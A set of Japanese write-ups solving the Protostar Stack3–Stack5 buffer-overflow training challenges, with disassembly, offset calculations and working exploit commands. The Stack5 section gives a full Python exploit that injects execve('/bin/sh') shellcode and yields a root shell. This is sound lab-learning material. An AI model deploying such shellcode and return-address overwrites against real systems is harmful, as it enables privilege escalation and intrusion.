protostar Stack5 writeup

## はじめに
exploit-exercisesのprotostar(https://exploit-exercises.com/protostar/) のStack5を解いたので、そのwriteupを書いていく

### Stack5
ソースコード

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}

バイナリのmain関数

$ objdump -d ./stack5 | grep main\>: -A9
080483c4 <main>:
 80483c4:	55                   	push   ebp
 80483c5:	89 e5                	mov    ebp,esp
 80483c7:	83 e4 f0             	and    esp,0xfffffff0
 80483ca:	83 ec 50             	sub    esp,0x50
 80483cd:	8d 44 24 10          	lea    eax,[esp+0x10]
 80483d1:	89 04 24             	mov    DWORD PTR [esp],eax
 80483d4:	e8 0f ff ff ff       	call   80482e8 <gets@plt>
 80483d9:	c9                   	leave  
 80483da:	c3                   	ret    

前回同様76バイトより後ろがリターンアドレスのようだ.

$ python -c 'print "A"*75' | ./stack5
$ python -c 'print "A"*76' | ./stack5
Segmentation fault

Stack4と同じように脆弱性があるが今回はwin()がない.
というわけで自分で適当なシェルコードを流しこんでシェルを起動させる.
シェルコードとはコンピュータが命令として解釈できる文字列で, もっぱら脆弱性を利用して何らかの命令を実行させたいときに利用される.
よく脆弱性が見つかった時に"不正なコードを実行する脆弱性"と紹介されるが, これの不正なコードにあたるものがシェルコードだ.
今回は下記リンクのコードを使う.
http://shell-storm.org/shellcode/files/shellcode-827.php
これはx86Linux環境でexecve("/bin/sh")を走らせた時と同じ振る舞いをする.

$ ltrace ./stack5
__libc_start_main(0x80483c4, 1, 0xbffff8a4, 0x80483f0, 0x80483e0 <unfinished ...>
gets(0xbffff7b0, 0xb7ec6165, 0xbffff7b8, 0xb7eada75, 0xb7fd7ff4AAAA
)                                         = 0xbffff7b0
+++ exited (status 176) +++

これを見るとespの位置は0xbffff7b0であることがわかる.
bufferはそこに0x10分足した場所から始まるので0xbffff7c0であるとわかる.
ここから書き換えたいリターンアドレスとのオフセットは76バイト, さらにリターンアドレス4バイトを足した先にシェルコードを設置し読み込ませる.
bufferの先頭アドレスからリターンアドレスを含めたオフセットは80バイトで, これを0xbffff7c0と足すと0xbffff810となる.

まとめると
0xbffff7c0から76バイトを埋める
0xbffff80c(0xbffff7c0+76)の位置にその直後のアドレスを書き込む
0xbffff810(0xbffff7c0+80)の位置からシェルコードを書き込む
ということになる.

コードにすると下記のようになる

#!/usr/bin/env python
import struct

buffer = 0xbffff7c0
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

def p32(num):
    return struct.pack("<L", num)

payload = "A"*76
payload += p32(buffer+80)
payload += shellcode

print payload

これを標準入力からStack5に入れてもシェルが開くだけなのでcatを利用し入力できるようにする.
実行は下記のようになる.

$ (/tmp/stack5.py; cat -) | ./stack5
whoami
root

バイナリの所有者権限に昇格することができたので成功とする.

Stack5 おわり

protostar stack4 writeup

## はじめに
exploit-exercisesのprotostar(https://exploit-exercises.com/protostar/) のStack4を解いたので、そのwriteupを書いていく

### Stack4
ソースコード

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}

バッファオーバーフロー脆弱性がある.

バイナリのmain関数

$ objdump -d ./stack4 | grep main\>: -A9
08048408 <main>:
 8048408:	55                   	push   ebp
 8048409:	89 e5                	mov    ebp,esp
 804840b:	83 e4 f0             	and    esp,0xfffffff0
 804840e:	83 ec 50             	sub    esp,0x50
 8048411:	8d 44 24 10          	lea    eax,[esp+0x10]
 8048415:	89 04 24             	mov    DWORD PTR [esp],eax
 8048418:	e8 ef fe ff ff       	call   804830c <gets@plt>
 804841d:	c9                   	leave  
 804841e:	c3                   	ret    

今回はリターンアドレスを書き換えてwin()を実行する.
実行して見る前にリターンアドレスとは何かについて書く.
プログラムはcall命令を実行すると, その関数内で次に実行する命令のアドレス(コレをリターンアドレスと呼ぶ)をスタックにプッシュする.
そしてcall命令で指定されたアドレスに格納されているコードの連なりである関数を実行していく.
次にその関数が呼ばれる直前のebpをプッシュしebpにespの値を入れる.
さらに"and esp,0xfffffff0"を実行しespに格納されている最後のバイトを0にする.
その後espから値を引くことで使いたい分だけスタックを確保する.
関数内で処理が終わると最後にret命令が実行される.
ret命令はebp+4バイト先にあるcall命令時に格納された値をeipにセットし実行を続ける命令.
このサイトを見るとわかりやすいと思う(http://d.hatena.ne.jp/yz2cm/20130526/1369591965)
こういった仕組みでプログラムは動いているがここで問題が発生する.
スタック上に格納されたリターンアドレスを何らかの脆弱性を利用し書き換えられた場合, eipが書き換えられたアドレスを指すようになり, そこに格納された命令を実行し始めてしまうのだ.

つまりリターンアドレスが格納されている場所にwin()のアドレスを書き込めばwin()が実行されるというわけだ.

ではどのようにメモリ上のリターンアドレスの位置を見つけるのか実際にやってみる.
まずはltraceでどのように関数が呼ばれているか見てみる.

$ ltrace ./stack4
__libc_start_main(0x8048408, 1, 0xbffff854, 0x8048430, 0x8048420 <unfinished ...>
gets(0xbffff760, 0xb7ec6165, 0xbffff768, 0xb7eada75, 0xb7fd7ff4AAAA
)                                         = 0xbffff760
+++ exited (status 96) +++

0xbffff760に書き込んでいるようだ.
このことから0xbffff760がbufferの先頭アドレスであると推測できる.
↑[7/11追記]これは間違いだった.
正しくはespに格納された値を読みに行っているようだ.
lea eax,[esp+0x10]
mov DWORD PTR [esp],eax
で[esp+10]のbufferの位置がespの指す0xbffff760に格納されていてこれを読んでいるみたい.

バイナリの処理を考慮しつつebpの値を計算すると
0xbffff760 - 0x10 + 0x50 = 0xbffff7a0
となる.
bufferからの差は 0xbffff7a0 - 0xbffff7a0 = 64
"and esp,0xfffffff0"で再開バイトが0になっているので実際の差は64~80範囲だ.
というわけで調べてみる.

$ python -c 'print "A"*72' | ./stack4
$ python -c 'print "A"*76' | ./stack4
Segmentation fault
$ python -c 'print "A"*74' | ./stack4
$ python -c 'print "A"*75' | ./stack4
$ python -c 'print "A"*76' | ./stack4
Segmentation fault

どうやら76バイト以降がリターンアドレスのようだ.
以上のことか76バイト+win()のアドレスを入力すればwin()が実行できると考えられる.

次にnmコマンドでwin()のアドレスを探す.

$ nm ./stack4 | grep win
080483f4 T win

実行してみる.

$ python -c 'print "A"*76 + "\xf4\x83\x04\x08"' | ./stack4
code flow successfully changed
Segmentation fault

win()関数が実行されたことがわかる.

Stack4 おわり

protostar stack3 writeup

## はじめに
exploit-exercisesのprotostar(https://exploit-exercises.com/protostar/) のStack3を解いたので、そのwriteupを書いていく

### Stack3
ソースコードはこんな感じ

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  volatile int (*fp)();
  char buffer[64];

  fp = 0;

  gets(buffer);

  if(fp) {
      printf("calling function pointer, jumping to 0x%08x\n", fp);
      fp();
  }
}

実行するとこんな感じ

$ ./stack3 
AAAA

今回はバッファオーバーフロー脆弱性を利用し関数ポインタであるfpを上書きしwin()を実行させる.

バイナリはこんな感じ

$ objdump -d ./stack3 | grep main\>: -A20
08048438 <main>:
 8048438:	55                   	push   ebp
 8048439:	89 e5                	mov    ebp,esp
 804843b:	83 e4 f0             	and    esp,0xfffffff0
 804843e:	83 ec 60             	sub    esp,0x60
 8048441:	c7 44 24 5c 00 00 00 	mov    DWORD PTR [esp+0x5c],0x0
 8048448:	00 
 8048449:	8d 44 24 1c          	lea    eax,[esp+0x1c]
 804844d:	89 04 24             	mov    DWORD PTR [esp],eax
 8048450:	e8 db fe ff ff       	call   8048330 <gets@plt>
 8048455:	83 7c 24 5c 00       	cmp    DWORD PTR [esp+0x5c],0x0
 804845a:	74 1b                	je     8048477 <main+0x3f>
 804845c:	b8 60 85 04 08       	mov    eax,0x8048560
 8048461:	8b 54 24 5c          	mov    edx,DWORD PTR [esp+0x5c]
 8048465:	89 54 24 04          	mov    DWORD PTR [esp+0x4],edx
 8048469:	89 04 24             	mov    DWORD PTR [esp],eax
 804846c:	e8 df fe ff ff       	call   8048350 <printf@plt>
 8048471:	8b 44 24 5c          	mov    eax,DWORD PTR [esp+0x5c]
 8048475:	ff d0                	call   eax
 8048477:	c9                   	leave  
 8048478:	c3                   	ret   
 ||<

見た感じ[esp+0x1c]がbuffer, [esp+0x5c]がfpっぽい.
その差は64バイト.
次にwin()のアドレスを探す.
これにはnmコマンドを使う.

>|bash|
$ nm ./stack3 | grep win
08048424 T win

出力を見るに0x08048424にwin()のコードが格納されたアドレスがあるようだ.
ここから64バイト+0x08048424の値を入力すると関数ポイタfpにwin()のアドレスが入ると考えられる.
というわけで実行してみる.

$ python -c 'print "A"*64 + "\x24\x84\x04\x08"' | ./stack3
calling function pointer, jumping to 0x08048424
code flow successfully changed

成功した

Stack3 おわり